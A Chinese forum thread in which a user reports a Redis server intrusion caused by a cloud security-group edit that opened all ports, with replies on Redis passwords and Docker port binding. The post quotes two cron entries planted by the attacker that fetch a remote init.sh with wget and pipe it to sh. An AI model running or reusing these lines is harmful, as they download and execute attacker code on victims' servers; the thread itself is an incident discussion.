阿里云手机 App 上的一个操作导致我的服务器被入侵

[lerry]

事情是这样， 刚才发现我的一个服务挂了，仔细检查发现是 redis 问题，
我勒个去，我所有的 key 都没了，只剩下 backup1 - backup12 这十二个 key，内容略有不同，大致是下边这样

\n\n\n*/24 * * * * root wdt -q -O- http://py2web.store/cleanfda/init.sh | sh\n\n
\n\n\n*/4 * * * * root wget -q -O- http://176.123.10.57/cleanfda/init.sh | sh\n\n

怎么会这样，平时只开必要的端口，6379 是绝对不开的

时间回到 1 个小时前，我新跑了一个服务，需要打开 tcp 端口 12345，我拿出手机，打开阿里云，操作安全组，开端口，一气呵成。




咦？怎么不行？原来程序需要的是 tcp 端口，我设置成了 udp 。找到新增的一条规则，把 udp 改成 tcp，确定，O 了，搞定





经过就是这样，看出问题了吗？以上过程均可复现

被入侵，我想过很多种可能，却没想到这一种

到现在我也没找到阿里云的安全组操作日志在哪里

[wunonglin]

你是说 udp 换成 tcp 的时候端口范围会变成 1/65535，然后没注意看然后就保存了是不？

另外你 redis 干嘛 bind0.0.0.0 啊？

[lerry]

@wunonglin #1 是的，用 docker 跑的 redis，有防火墙，就没在意

[keepeye]

不管做什么操作，要核对一遍再提交

[towser]

也没启用密码吧。现在扫 redis 的多如牛毛，我测试服务器放公网半小时就被入侵了。

[YouLMAO]

没注意看

[YouLMAO]

如果我是蚂蚁金服 ceo, 直接开除你和你全组, 线上服务器还能单人操作的不经 review 流程的

[illl]

这个不应该是自己没设密码导致的呗

[boris93]

@YouLMAO @illl
严重事故从来都不是因为某个单独的原因，而是多个问题同时出现，而它们正好能导致一场事故
即，瑞士奶酪理论

[swulling]

不能因为内网就不设置密码。

[matrix67]

赶紧重装机器，不单单只是 redis 被黑了

说不定还会横向移动攻击数据库之类的，再加上现在还有 sudo 提权漏洞

错就错在 "一气呵成" 啊

[PerFectTime]

docker 发布端口的时候得加上 127.0.0.1
防火墙规则对 docker 端口无效

[lerry]

@matrix67 #10 还好是 docker 跑的，还有一个 postgresql 也是 docker 跑的有密码

@PerFectTime #11 学习了，这个用的是阿里云的防火墙

[mytsing520]

虽然有马后炮的嫌疑，但我是从不信任任何在手机端对生产环境进行的操作，即便是我自己或信任的人进行的操作，毕竟鬼知道会发生什么问题。

[lxiszuhi]

linux 这么容易黑的吗？

[lerry]

@lxiszuhi #14 默认端口+没有密码 特别危险

[PerFectTime]

@lerry #12 ps: 防火墙规则对 docker 无效指的是 iptables

[learningman]

@PerFectTime 对，这玩意儿最容易反应不过来，docker 默认 bind 0.0.0.0，然后还会自动加 iptables 规则

[min]

你的 redis 不设密码导致你的服务器被入侵

[yzbythesea]

安全组设成 0.0.0.0/10，真是心大啊。

[d5]

赞同 18 楼的说法